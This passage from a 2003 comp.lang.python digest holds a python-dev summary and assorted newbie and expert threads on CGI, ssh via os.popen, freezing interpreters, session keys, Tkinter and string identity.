    child = popen2.Popen3("ping -i %i %s 2>&1" % (PING_INTERVAL,
self.address))
AttributeError: 'module' object has no attribute 'Popen3'

Then the script continues to loop printing out "in main loop". I'm
asssuming that the script is waiting for a response from the Pinger()
class, and continues to loop because Pinger() never finishes
executing?

any ideas?

thanks in advance, .d.hos



From drifty at bigfoot.com  Sat Jan  4 18:37:21 2003
From: drifty at bigfoot.com (Brett C.)
Date: 4 Jan 2003 15:37:21 -0800
Subject: python-dev Summary for 2002-12-16 through 2002-12-31
Message-ID: <mailman.1041873817.14342.clpa-moderators@python.org>

+++++++++++++++++++++++++++++++++++++++++++++++++++++
python-dev Summary for 2002-12-15 through 2002-12-31
+++++++++++++++++++++++++++++++++++++++++++++++++++++

This is a summary of traffic on the `python-dev mailing list`_ between
December 16, 2002 and December 31, 2002 (inclusive).  It is intended
to inform the wider Python community of on-going developments on the
list that might interest the wider Python community.  To comment on
anything mentioned here, just post to python-list at python.org or
comp.lang.python in the usual way; give your posting a meaningful
subject line, and if it's about a PEP, include the PEP number (e.g.
Subject: PEP 201 - Lockstep iteration). All python-dev members are
interested in seeing ideas discussed by the community, so don't
hesitate to take a stance on something.  And if all of this really
interests you then get involved and join python-dev!

This is the eighth summary written by Brett Cannon (last one covering
2002!).

All summaries are archived at http://www.python.org/dev/summary/ .

Please note that this summary is written using reStructuredText_ which
can be found at http://docutils.sf.net/rst.html .  Any unfamiliar
punctuation is probably markup for reST_; you can safely ignore it
(although I suggest learning reST; its simple and is accepted for PEP
markup).  Also, because of the wonders of programs that like to
reformat text, I cannot guarantee you will be able to run the text
version of this summary through Docutils_ as-is unless it is from the
original itself.

.. _python-dev mailing list:
http://mail.python.org/mailman/listinfo/python-dev
.. _Docutils: http://docutils.sf.net/
.. _reST:
.. _reStructuredText: http://docutils.sf.net/rst.html


.. contents::

======================
Summary Announcements
======================

`Python 2.3a1`_ has been released!  Please download it and try it out.
 The testing of the code helps python-dev a lot.  So at the very least
download it and run the test suite to see if any errors or failures
come up.

I did skip a thread on some proposed changes to ``ConfigParser``.  If
you care about that module you can read the thread at
http://mail.python.org/pipermail/python-dev/2002-December/031505.html
.

This summary is a bit on the thin side.  I decided to enjoy my winter
holiday and so this summary was pushed off to the last minute (and
beyond; that is why this is late).  Shouldn't happen again for a
while.  =)

Those of you viewing this on the web or by running it through Docutils
will have noticed the table of contents preceding this section.  I am
giving this a try to see if I like it.  If you have an opinion, let me
know.

Go to PyCon_ (and yes, I am going to say this every summary until
PyCon is upon us)!

.. _Python 2.3a1: http://www.python.org/2.3/
.. _PyCon: http://www.python.org/pycon/

======================================================
`Adding decimal (aka FixedPoint) numbers to Python`__
======================================================
__ http://mail.python.org/pipermail/python-dev/2002-December/031171.html

Michael McLay brought to the attention of the list `patch #653938I`_
which not only adds the FixedPoint_ module (originally by Tim Peters)
to the library but the ``d`` suffix for numeric constants to be used
for numbers to be of the FixedPoint type.

For those of you unfamiliar with fixed-point math, it is basically
decimal math where the issue of rounding and representation are
eliminated except for division.  It  would allow 0.3 + 0.3 to actually
equal 0.6 and not 0.59999999999, which is what you get now with binary
floating-point math.

Consensus was quickly reached that Michael should first work on
getting the module accepted into the language.  This is done so that
python-dev can gauge the usefulness of the module to the rest of the
world and thus see if integrating it into the language is called for. 
It was also said that a PEP should be written (which Michael's first
email practically is).  Oren Tirosh, though, stated that programs that
require fixed-point math don't encode the numbers as literals in their
code anyway, and thus adding a prefix would be uncalled for.

There was a discussion of what a constructor method should be named
that finally came down to Guido saying fixedpoint, fixed, or fixpoint
all are acceptable.

If you want to get into the nitty-gritty of this discussion read
Michael's and Tim's emails from the threads.  You can also look at
http://www2.hursley.ibm.com/decimal/ for another way to do
fixed-point; Aahz has been working on an implementation since the dawn
of man but he has been busy with other things and thus has yet to
finish it.

.. _patch #653938I: http://www.python.org/sf/653938I
.. _FixedPoint: http://fixedpoint.sf.net/

=========================================
`New Import Hooks PEP, a first draft`__
=========================================
__ http://mail.python.org/pipermail/python-dev/2002-December/031322.html

Related threads:

	- `Zip Import and sys.path manipulation
<http://mail.python.org/pipermail/python-dev/2002-December/031197.html>`__
	- `Zipping Zope3 <http://mail.python.org/pipermail/python-dev/2002-December/031319.html>`__
	- `Write All New Import Hooks (PEP 302) in Python, Not C
<http://mail.python.org/pipermail/python-dev/2002-December/031382.html>`__
	- `Packages and __path__
<http://mail.python.org/pipermail/python-dev/2002-December/031369.html>`__
	- `PEP 203 and __path__
<http://mail.python.org/pipermail/python-dev/2002-December/031380.html>`__

So the thread that I am supposedly summarizing here is not the first
thread in terms of chronology, but it has the best title, so I am
using that as the thread to be summarized.

Once again, the new import hooks mechanism was a big topic of
discussion.  For the latter half of this month most of the discussions
were around `PEP 302`_ and its rough draft.  It was accepted and was
merged into the CVS tree in time for `Python 2.3a1`_.  Since the
implementation has already been accepted I will not summarize it here
nor its objections since the PEP does an admirable job of covering all
the bases.

The other big discussion that was brought up was whether ``__path__``
should be removed or at least discourage the modification of it.  Just
van Rossum pushed for the removal since it would simplify the import
hooks and he didn't see the use.  But Guido said  that Zope used it
and that it can be useful, so it is staying.  This discussion is what
caused the creation of the pkgutil_ module.

.. _PEP 302: http://www.python.org/peps/pep-0302.html
.. _pkgutil: http://www.python.org/doc/2.3a1/lib/module-pkgutil.html

========================================
`known obvious thing or bug (rexec)?`__
========================================
__ http://mail.python.org/pipermail/python-dev/2002-December/031160.html

A question about something in ``rexec_`` ended up leading to a
discussion over the value of rexec since it is not close to being
truly secure.  The module is still in the library but I would not
expect it to be in there forever; Py3k will most likely be its undoing
unless someone gets the jump now and rewrites the module to actually
make it do its job well.

.. _rexec: http://www.python.org/doc/current/lib/module-rexec.html

=====================
`deprecating APIs`__
=====================
__ http://mail.python.org/pipermail/python-dev/2002-December/031255.html

Neal Norwitz came up with a way to deprecate APIs by having them emit
warnings during compile-time (at least for gcc).  It can be found in
`pyport.h`_ and the macro is called ``Py_DEPRECATED()``.

.. _pyport.h: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Include/pyport.h

===============================
`Mersenne Twister copyright`__
===============================
__ http://mail.python.org/pipermail/python-dev/2002-December/031403.html

Splinter Threads:
	- `Mesenne Twister copyright notice
<http://mail.python.org/pipermail/python-dev/2002-December/031402.html>`__
	- `Third-Party Licenses
<http://mail.python.org/pipermail/python-dev/2002-December/031485.html>`__

Raymond Hettinger asked how he should handle the copyright requirement
for the Mersenne Twister (now a part of the random_ module) that the
authors be given credit  in the documentation.  Various ideas were
thrown around from adding a ``__copyright__`` value to any module
requiring it and having that contain the required notice to having a
text file for  each file that needed it.  The last thing on this
thread was Raymond suggesting a license directory that contained the
required notices (this has not been done yet, though).

.. _random: http://www.python.org/dev/doc/devel/lib/module-random.html

==============================================
`Extension modules, Threading, and the GIL`__
==============================================
__ http://mail.python.org/pipermail/python-dev/2002-December/031424.html

David Abrahams brought up a question about extension modules calling a
Python interpreter but not knowing it is Python and thus not knowing
about the GIL  (the "summary" David gives to explain what he is asking
about is four paragraphs, so if this sounds interesting to you then
read the original email).  This whole thread has still yet to be
worked out, but if threading in extension modules interests you, have
a read (time restraints prevent me from doing a thorough summary of
this thread since it is so complicated).

================
`GC at exit?`__
================
__ http://mail.python.org/pipermail/python-dev/2002-December/031429.html

Aahz pointed out that a cycle of objects will not have their
respective ``__del__()`` methods called unless you break the cycle or
call ``gc.collect()``.  But as Martin v. L?wis said, "If you need to
guarantee that __del__ is called at the end for all objects, you have
probably much bigger problems".  So just watch out for those cycles.

===================================================
`PEP 303: Extend divmod() for Multiple Divisors`__
===================================================
__ http://mail.python.org/pipermail/python-dev/2002-December/031511.html

`PEP 303`_ by Thomas Bellman proposes changing ``divmod()`` so as to
allow it to take an arbitrary number of arguments to chain together a
bunch of ``divmod()`` calls.  Guido has says that he does not like the
change because it causes the function to act in a way that is not
necessary and since it is a built-in that goes against keeping the the
language simple.

This thread has started a big discussion on what built-ins are needed,
but that started after January 1 and thus will be covered in the next
summary.

.. _PEP 303: http://www.python.org/peps/pep-0303.html




From hwlgw at hotmail.com  Tue Jan 14 05:19:13 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 14 Jan 2003 02:19:13 -0800
Subject: passwords to CGI
Message-ID: <cb035744.0301140219.590608ae@posting.google.com>

Sending a password to a CGI script with this HTML::

    <input type=password name=pwd>

is scary for a user since he sees the pwd appearing
in the url the browser calls.  This is when you use
the GET method (I'd rather not use POST, see below).
Is there a way to encrypt a password before it is
sent?  Maybe completely different HTML?  I know
about the getpass module but I want the user to be
able to only use his browser.

Also: when developing my CGI application I use the
CGIHTTPServer module to run a CGI server on my
Windows XP laptop.  This is only 2 lines of code 
and comes with Python and is easy to use, but there 
are a few problems:

- The POST method does only work a first time, when
  using IE.  After that the server hangs.  I read
  about a fix (reading LF characters or something)
  and a solution promised in the next Python 2.3.
  But I lost the fix.

- When your CGI script reads from a file, the server
  does not look in the cgi-bin directory, but it
  looks in the directory you started the server in
  from the dos box.

Could you recommend an easy fix to CGIHTTPServer or
recommend a small free downloadable CGI server to
use on Windows XP.

Duh.  Maybe I should have another look at Zope.  Last 
time I was on zope.org I got lost.
Where is the tutorial for dummies?  Is there
something that describes a complete development
process...like having a zope server on your XP
laptop for testing and development without the need
for an internet connection;



From nilobject at mac.com  Fri Jan 31 18:13:44 2003
From: nilobject at mac.com (Tyson Tate)
Date: Fri, 31 Jan 2003 15:13:44 -0800
Subject: Interaction with the shell
Message-ID: <A4CFDF8E-3571-11D7-B527-000393DC08EA@mac.com>

I have a def like so:
------
import os

def main():
	print "Host [localhost]:",
	host = raw_input(" ")
	if host == "":
		host = "localhost"
	print "Command [ls]:",
	command = raw_input(" ")
	if command == "":
		command = "ls"
	data = os.popen("ssh " + host + " " + command).read()
	print "Got dat: '" + data + "'"
-----
I'd like to enter the password from within the code (i.e. so that the 
user doesn't enter the password). How might I do this? The man pages on 
ssh don't say that there are any parameters through which I can supply 
the password.

TIA, as always!

--
Tyson Tate, Editor
Entropy Magazine
"Nourishment For The Starved."
http://www.entropymag.net





From forename_dot_lastname at aifb.uni-karlsruhe.de  Mon Jan 13 06:23:33 2003
From: forename_dot_lastname at aifb.uni-karlsruhe.de (Christian Schmidt)
Date: Mon, 13 Jan 2003 12:23:33 +0100
Subject: os.times() for other process
Message-ID: <avu7iv$jol$1@news.rz.uni-karlsruhe.de>

With os.times() I get user and system time for the current process. How can
I get this for another process with known pid?

--
Christian Schmidt





From cmkleffner at gmx.de  Tue Jan  7 02:40:18 2003
From: cmkleffner at gmx.de (cmkl)
Date: 6 Jan 2003 23:40:18 -0800
Subject: Distributing Python apps
References: <mailman.1041879011.21003.python-list@python.org>
Message-ID: <3b091a1c.0301062340.34916919@posting.google.com>

Just van Rossum <just at letterror.com> wrote in message news:<mailman.1041879011.21003.python-list at python.org>...
> Bjorn Pettersen wrote:
> 
> > [ ... ] It seems it might be useful to add a module to the library
> > that emits the graph either through static analysis, or by logging
> > imports during a run. Static analysis could probably catch 95% of the
> > imports, and even with run-time logging you might be hosed if you
> > don't execute the program path that imports a module. If you combine
> > them I would think you'd get in the 99% range (which I think is quite
> > acceptable for a language like Python).
> 
> Python 2.3a1 contains modulefinder.py (used to be part of the Freeze
> package). It does static import analysis and keeps track of which
> modules import which. It still needs to be documented, though... It only
> misses imports done in exec statements and by __import__ calls.
> 
> Just

building a single file python runtime is far easy on Unix systems.
Take cgipython or cxfreeze as example.

I built my own single file interpreter with freeze some months ago 
with following capabilities:

 - interpreter can be used interacivly (enhanced by pyrepl-0.6)
 - interpreter can start python scripts alternativly
 - import path is modified to use modules in the script directory.

The single file 'pyrt' can be deployed i.e. as 'python'
to the customer. The programs can be deployed as python scripts 
or bytecode (if not freezed within the binary).
This should work on Unix systems. 
I will try to make this work on windows with the free 
mingw gcc compiler.

Sincerly

Carl Kleffner


--------------------------------------------------------------------------
#!/usr/bin/env python

# freeze Python with some modules
#
# Not freezed in this example:
#   thread module
#   socket module
#   Tkinter module
#   unicode, xml

import sys,os

if [0][0]:                                # fool the modulefinder

    # modify this to your needs!

    import __future__, warnings

    #warnings.filterwarnings("ignore")
    import regex                          # import w/o deprec. warning
    #warnings.resetwarnings()

    import time, timing
    import pyrepl.python_reader, pyrepl_utils # if you have pyrepl
    import strop, struct, copy_reg, cStringIO, cPickle
    import array, bisect, operator, difflib
    import cmd, commands, curses
    import getopt, glob, termios, profile, pstats
    import shmem, locale, linecache
    import inspect, pydoc
    import math, cmath
    import filecmp, fileinput, fnmatch
    import re, types, tempfile
    import shelve, shlex, shutil
    import weakref, random, whrandom
    import pipes, pprint, fpformat
    import base64, Bastion, binascii, calendar
    import errno, atexit, fcntl, glob, fpectl
    import gzip, zlib, zipfile, dircache
    import marshal, mmap, new, codecs
    import posix, rexec, rotor, select, signal
    import UserDict, UserList, UserString
    import xreadlines, csv, crypt, exceptions

#--- modify sys.path und sys.argv[0]

sys.argv = sys.argv[1:]         # del first argument
root_dir = sys.exec_prefix      # root path for module
sys_path = sys.path[:]

for i in sys_path:              # del root path from syspath
    if i.find(root_dir) >= 0:
        idx = sys.path.index(i)
        sys.path.pop(idx)

del root_dir, sys_path
if 'i' in vars():   del i
if 'idx' in vars(): del idx

if sys.argv and os.path.isfile( sys.argv[0] ): # script exists?

    script_dirname = os.path.dirname(
        os.path.abspath( sys.argv[0] ))        # absolute dir

    if script_dirname not in sys.path:
        sys.path.append( script_dirname )
    del script_dirname

    try:
        execfile( os.path.abspath( sys.argv[0] ) ) # run script
    except:
        print "\nruntime error with: %s!" % os.path.abspath(
sys.argv[0] )

else:                                      # python interactive

    print "single file python interpreter."
    print "usage:  python [ skriptfile [ args ] ]\n"
    print "hint:   put '#!/usr/bin/env python' as first line"
    print "        in your executable python script.\n"
    print "Python %s on %s" % (sys.version, sys.platform)
    print 'Type "copyright", "credits" or "license" for more
information.'
    print 'Hit <CTRL-D> to exit and <CTRL-N> <CTRL-P> to scroll
history.'

    try:
        sys.path.append( os.path.abspath(os.curdir) )
        from   pyrepl.python_reader import ReaderConsole
        from   pydoc                import help
        exec( "ReaderConsole(vars(), 0, None).interact()" )
    except:
        pass

# freeze that with: 
# python /yourpath2python/Python-2.2/Tools/freeze/freeze.py -o pyrt -X
macpath -X ntpath -X dospath  -X threading pyrt.py



From duncan at NOSPAMrcp.co.uk  Thu Jan  9 09:48:52 2003
From: duncan at NOSPAMrcp.co.uk (Duncan Booth)
Date: Thu, 9 Jan 2003 14:48:52 +0000 (UTC)
Subject: get instance name  inside of member function
References: <3E1D869F.2050809@emsys.de>
Message-ID: <Xns92FE95CD81A7duncanrcpcouk@127.0.0.1>

Ralf Oberl?nder <ralf.oberlaender at emsys.de> wrote in 
news:3E1D869F.2050809 at emsys.de:

> is it possible to get the name of the instance inside a member function:
> 
> class a:
>      def inst_name():
Or even:
       def inst_name(self):
>          pass
> 
> inst=a
Did you mean:
   inst = a()
> 
> so that
> 
> inst.inst_name()
> 
> results in the string "inst"
> 
Consider:
   inst2 = inst1 = a()
   
What do you want inst2.inst_name() to return, inst1 or inst2?
What do you want a().inst_name() to return?

The problem is your instance could be bound to many names or none.
If you know it is bound to a global in a particular module you could search 
that module's globals to find one that is the same as 'self'. You could 
even search all modules for globals bound to the instance.

If you want the particular binding used in the call, or a local name then 
you would have to crawl back up the stack and pull apart the bytecode.

Of course if you simply want *any* of the names bound to the instance then 
this does the trick (but somehow I don't think it helps):

    def inst_name(self):
        return "self" 

> I need it for logging
The traditional way to do this would be:

class a:
   def __init__(self, name):
       self.name = name

and just create each instance with a unique name. Yes, I know this means 
you have to type the name twice.


-- 
Duncan Booth                                             duncan at rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?



From peter at engcorp.com  Sat Jan 25 16:43:41 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 16:43:41 -0500
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia>   <15922.49110.110304.235838@montanaro.dyndns.org> <mailman.1043515846.16890.python-list@python.org> <3E32E6EF.AA8C5A69@engcorp.com> <iRCY9.146$qb1.126@nwrddc01.gnilink.net>
Message-ID: <3E33050D.7ABF8CFC@engcorp.com>

Carl Banks wrote:
> 
> Peter Hansen wrote:
> > Mongryong wrote:
> >>
> >> Right now, I mainly need a way to generate unique (web) session keys.
> >> However, it would be nice to have a general purpose function for
> >> generating unique keys.
> >
> > I may be missing something, but what would be wrong with incrementing
> > a variable, starting at "1"?
> >
> > You haven't specified a requirement which looks like it would
> > eliminate this as a possibility.
> 
> Because then a malicious user could easily get access to someone
> else's web session, since they know keys are sequential.  The
> requirement wasn't stated, but it's generally a valid to assume the
> webmaster doesn't want this to happen.

I know that, and you know that (and now the OP knows that), but I 
was hoping to get him to clarify what he wants so he'd be sure
of getting the *right* right answer to his question... teaching
a man to fish and all that. ;-)

-Peter



From bokr at oz.net  Wed Jan  8 14:33:32 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 19:33:32 GMT
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org> <x71y3nwolf.fsf@guru.mired.org> <mailman.1042046808.20438.python-list@python.org>
Message-ID: <avhuec$prg$0@216.39.172.122>

On Wed, 8 Jan 2003 18:25:56 +0100, Michal Vitecek <fuf at mageo.cz> wrote:
[...]
>
> i must say that this behaviour is pretty strange (non-intuitive at
> least). why is it that the function looks for that variable in the
> scope of its module? wouldn't that be more intuitive if it looked for
> the variable in the current global scope?

"current" from what point of view ;-) When you're inside the function,
looking outwards sees enclosing lexical scopes, out to the file, which
is the module scope. Other ways of looking for names are possible, but
huge unstructured global name spaces are not a good idea.

Regards,
Bengt Richter



From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 10:48:14 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 29 Jan 2003 07:48:14 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com> <7xsmvcl9gs.fsf@ruckus.brouhaha.com> <3E378028.3FA9B988@alcyone.com> <7xn0lkz8nw.fsf@ruckus.brouhaha.com> <3E378C48.A24321D3@alcyone.com>
Message-ID: <7xr8awlzy9.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> > Yes, however, in the case of library modules, history shows that
> > whatever justification takes place is almost always done by means
> > other than PEPs.
> 
> But you're using a rather selective history to make that conclusion. 
> The PEP process was only introduced in 2000, after all.  It exists
> precisely for this purpose; you seem to want to circumvent it for some
> reason.

Look at the libraries which first appeared in 2.2, which was later
than 2000.  Did ANY of them have PEPs?



From stephen.boulet at motorola.com  Thu Jan 23 11:44:48 2003
From: stephen.boulet at motorola.com (Stephen Boulet)
Date: Thu, 23 Jan 2003 10:44:48 -0600
Subject: widget communication in Tkinter
Message-ID: <3E301C00.5050709@motorola.com>

Is there a standard method for widgets to communicate with one another in tkinter?

For example, if I want a button press to update a label's text field, I found 
that I can make a MyButton class that inherits Button, and store my label's 
config method as a MyButton method.

I was wondering if tkinter has some sort of built in mediator class to handle 
transactions like this.

-- Stephen




From max at alcyone.com  Wed Jan 29 19:34:33 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 16:34:33 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <3E36F43E.1090803@freemail.hu> <t1wvg089gey.fsf@kermit.wreck.org> <mailman.1043853713.17341.python-list@python.org> <3e37ff29$0$26173$a1866201@newsreader.visi.com> <mailman.1043865653.4295.python-list@python.org>
Message-ID: <3E387319.8F1179B3@alcyone.com>

Laura Creighton wrote:

> See http://www.fourmilab.ch/hotbits/ for another way to get real
> random.

Bet then you're constrained by the question of whether they set up their
apparatus properly.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I wish you well but / Right now I'm just bitter
\__/ Chante Moore
    HardScience.info / http://www.hardscience.info/
 The best hard science Web sites that the Web has to offer.



From max at alcyone.com  Fri Jan 10 23:03:35 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 20:03:35 -0800
Subject: moving items in a list
References: <mailman.1042235535.23751.python-list@python.org>
Message-ID: <3E1F9797.AA1787E@alcyone.com>

sismex01 at hebmex.com wrote:

> In this form ("a,b = b,a"), what actually happens behind
> curtains is that, first, a tuple is created with (b,a),
> and then, that same (temporary) tuple is unpacked into
> (a,b).  It might take more time to do this operation,
> than to do something like:
> 
>   _ = a
>   a = b
>   b = _
> 
> where "_" is some temporary variable.

... and if this trivial difference in speed is really enough to make or
break your application, I submit that Python was the wrong choice of
languages for it in the first place.

Go for readability, not simply speed.  When two forms are equally
readable, pick the one that's naturally faster.  When you're not sure,
don't worry about it.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I sleep and dream that life is / All beauty
\__/ Lamya
    WebVal / http://www.alcyone.com/pyos/webval/
 URL scanner, maintainer, and validator in Python.



From klachemin at home.com  Mon Jan 27 16:13:29 2003
From: klachemin at home.com (Kamilche)
Date: 27 Jan 2003 13:13:29 -0800
Subject: String Methods Don't Change ID?
Message-ID: <889cbba0.0301271313.7da84213@posting.google.com>

I am reading a book on Python, 'Core Python Programming.' They have
hammered home how when you change a string, or reassign it, the ID
changes.

But now, I'm looking the following example, which modifies a string,
but the ID doesn't change. Can anyone explain why the built-in string
methods don't modify the ID?

>>> quest = 'what is your favorite color?'
>>> id(quest)
10988760
>>> quest.capitalize()
'What is your favorite color?'
>>> id(quest)
10988760
>>> quest.center(40)
'      what is your favorite color?      '
>>> id(quest)
10988760
>>>



From wurmy at earthlink.net  Sun Jan 19 13:58:18 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Sun, 19 Jan 2003 18:58:18 GMT
Subject: Dos calls in Python
References: <3e29a7ba_3@corp.newsgroups.com>
Message-ID: <3E2AF60A.10809@earthlink.net>

Bill Walker wrote:
> Anyway to call dos interrupts from python? I would like to change to
> graphics screen mode and call the pixel plot routines in the BIOS to plot
> some graphs..

You'll need a DOS-based Python with a module (probably custom made) that gives 
you access to such routines.  I used to maintain one, but stopped doing so a 
few years ago (because I wasn't using a DOS- or Win9x-based machine anymore). 
There are other, more recent DOS Pythons out there though; google for them.

Calling pixel plot routines from Python might not be a good idea though, unless 
you don't care much about speed.

Cheers,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From amk at amk.ca  Wed Jan 29 08:23:45 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 29 Jan 2003 07:23:45 -0600
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com>
Message-ID: <eXqdncFNna18SKqjXTWcog@speakeasy.net>

On Tue, 28 Jan 2003 16:45:02 -0800, 
	Erik Max Francis <max at alcyone.com> wrote:
> before alpha.  Alpha is when you have all the new features in place in
> at least some fashion, although they may not be working too well yet. 
> Alpha is not when you introduce new features, particularly ones that are
> just reviewed APIs.

No, that's beta; features can keep being added in successive alphas.  For
example, it looks like 2.3alpha2 is going to introduce a new 'itertools'
module and a new protocol for pickling, both significant changes.
There will be a feature freeze only with beta1.

In any case, the proposed cryptography module is not so large a hunk of code
that it can't be added in the time remaining.  

--amk                                                    (www.amk.ca)
CORIOLANUS: And mountainous error be too highly heap'd for truth to o'erpeer.
      -- _Coriolanus_, II, iii
      



From papaggel at ics.forth.gr  Mon Jan 13 05:52:41 2003
From: papaggel at ics.forth.gr (Manos Papagelis)
Date: Mon, 13 Jan 2003 12:52:41 +0200
Subject: Urgent. malformed header from script error!
Message-ID: <003e01c2baf1$e76cd830$04b75b8b@ics.forth.gr>

Hello,

Running apache on solaris the following error occurs when trying to run a
python script:

    malformed header from script. Bad header=Could not  read-open file /bla:
blabla.py

Although it seems to be a simple permition problem, it is not fixed by
changing the permitions of the refered directory and file.

Could anyone suggest what's the problem and how can be solved?

thanks,

- Manos Papagelis





From max at alcyone.com  Mon Jan 20 05:19:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 20 Jan 2003 02:19:02 -0800
Subject: Install Python in C:\usr\bin
References: <cb035744.0301151013.4f5c0327@posting.google.com> <cb035744.0301180748.3e2058d6@posting.google.com> <cb035744.0301191539.673bf0a1@posting.google.com> <3E2B607D.BEFA8BE6@alcyone.com> <cb035744.0301200123.47ab3787@posting.google.com>
Message-ID: <3E2BCD16.98EC8B74@alcyone.com>

Will Stuyvesant wrote:

> Yes, I also get the "segmentation fault" when I login to the ISP and
> do python on the commands line with "import random".  They run linux.
> Maybe they compiled Python themselves and one of their c libraries is
> kaput.

If you can reproduce it from the interpreter directly, it just sounds
like a broken installation.  Complain to your ISP.  (Emphasize that this
is not an enhancement request; the installation is corrupted.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Love is the wisdom of the fool and the folly of the wise.
\__/ Samuel Johnson
    PyUID / http://www.alcyone.com/pyos/uid/
 A module for generating "unique" IDs in Python.



From uwe.schmitt at procoders.net  Thu Jan 30 04:36:32 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 30 Jan 2003 09:36:32 GMT
Subject: biggles on windows
References: <b19s8i$11fvme$1@hades.rz.uni-sb.de> <291h3v8h8dm4mdncjvu62emj3fs4breigg@4ax.com>
Message-ID: <b1arn0$11ld4e$1@hades.rz.uni-sb.de>

Kyle Yancey <kyle at lakeofburningfire.org> wrote:
> Doh.  I missed the part where you said you used activestate.  I'm an
> idiot. Ignore the comment above.

Maybe your comment is useful: there was a post in the biggles mailing list
today, saying the installer requires python 2.1, not 2.2. maybe the installer
works, if I manipulate the registry key concerning the python  version.  But
that is a dirty hack. I'd really be interested in a new version, but biggles is
updatetd quite seldom, although biggles makes the nicest plots I've seen among
the plotting packages for python...

So I'll have to build biggles from scratch...

Greetings, Uwe.


>>Hi,
>>
>>I tried to install the 2d plotting package biggles
>>(http://biggles.sf.net) on my Win2K machine. I use
>>ActiveState python.
>>
>>My problem is the following: when using the binary
>>installer for biggles, the installer does not
>>find my python installation and entering the
>>apropriate path manually is not possible.
>>
>>I posted the problem to the biggles mailing list
>>but got no answer.
>>Did anyone manage this problem ?
>>
>>Greetings, Uwe.


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From ians at etrials.com  Thu Jan 16 12:04:19 2003
From: ians at etrials.com (Ian Sparks)
Date: Thu, 16 Jan 2003 12:04:19 -0500
Subject: Extending program with imported user code.
Message-ID: <41A1CBC76FDECC42B67946519C6677A9094643@pippin.int.etrials.com>

I have a python (2.2) program that does PDF rendering (www.reportlab.com). It has a method something like :

def drawfooter(..):
    blah....

I'd like to be able to override this default behaviour by importing user-defined code. So I'd envison that my user would write a replacement drawfooter() function with the same signature in a text file, my code will look for that file and import it somehow to override the existing behaviour.

What would be the best way of going about this kind of dynamic function-replacement?





From maney at pobox.com  Mon Jan 20 10:29:30 2003
From: maney at pobox.com (Martin Maney)
Date: Mon, 20 Jan 2003 15:29:30 +0000 (UTC)
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org> <b0g2od$nq9$1@wheel2.two14.net> <3E2BB957.2A2199CF@alcyone.com>
Message-ID: <b0h4kp$ome$1@wheel2.two14.net>

Erik Max Francis <max at alcyone.com> wrote:
> Besides, if you don't like the syntax of JOINER.join(SEQUENCE), you can

As I have said already, I find it quite acceptable: as a native
speaker, reader, and writer of the hodgepodge called 'English', I'm
inured to such irregularities.  <wink>  I only disagree that it is
sensible (or rational, or rationally justifiable, or etc.) as anything
but a clever kluge - which it is.

> always just use the string.join(SEQUENCE, JOINER) function.

I guess I've never asked, and this does really cut to the heart of it. 
I understand that Python has been OO since the very beginning, so how
ever did it wind up with so many of the string-the-class's methods (and
a constructor or two) hidden in a module, anyway?



From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 15:23:05 2003
